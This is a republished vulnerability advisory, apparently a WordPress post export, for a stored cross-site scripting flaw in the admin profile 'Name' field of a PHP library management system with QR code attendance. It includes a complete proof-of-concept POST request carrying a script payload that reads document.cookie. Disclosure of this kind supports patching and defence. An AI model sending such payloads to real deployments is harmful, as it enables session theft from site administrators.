#### Title: Library Management System with QR code Attendance 1.0 Stored
\nCross-Site Scripting
\n#### Author: Ashish Kumar (
\nhttps:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184)
\n#### Date: 27.06.2022
\n#### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02
\n#### Software:
\nhttps:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
\n#### Version: 1.0
\n#### Reference:
\nhttps:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Cross%20Site%20Scripting(Stored)\/POC.md<\/p>\n
#### Description\uff1a
\n#### Library Management System with QR code Attendance is vulnerable to
\nStored cross-site scripting on the profile edit page. The “Name” parameter
\nin ‘http:\/\/localhost\/LMS\/admin\/edit_admin_details.php’ is vulnerable.<\/p>\n
#### Impact:
\nAn attacker could steal cookies with a crafted URL sent to the victims.<\/p>\n
### POC<\/p>\n
“`
\nPOST \/LMS\/admin\/edit_admin_details.php?id=admin HTTP\/1.1
\nHost: localhost
\nContent-Length: 115
\nCache-Control: max-age=0
\nsec-ch-ua: “Chromium”;v=”97″, ” Not;A Brand”;v=”99″
\nsec-ch-ua-mobile: ?0
\nsec-ch-ua-platform: “Windows”
\nUpgrade-Insecure-Requests: 1
\nOrigin: http:\/\/localhost
\nContent-Type: application\/x-www-form-urlencoded
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
\n(KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36
\nAccept:
\ntext\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9
\nSec-Fetch-Site: same-origin
\nSec-Fetch-Mode: navigate
\nSec-Fetch-User: ?1
\nSec-Fetch-Dest: document
\nReferer: http:\/\/localhost\/LMS\/admin\/edit_admin_details.php
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
\nCookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
\nConnection: close<\/p>\n
Name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&EmailId=admin%
\n40gmail.com&MobNo=0&Password=admin&submit=
\n“`<\/p>\n","protected":false},"excerpt":{"rendered":"
#### Title: Library Management System with QR code Attendance 1.0 Stored Cross-Site Scripting #### Author: Ashish Kumar ( https:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184) #### Date: 27.06.2022 #### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02 #### Software: https:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html #### Version: 1.0 #### Reference: https:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Cross%20Site%20Scripting(Stored)\/POC.md #### Description\uff1a #### Library Management System with QR code Attendance is vulnerable to Stored cross-site scripting on the profile edit page. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26288","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26288"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26288\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}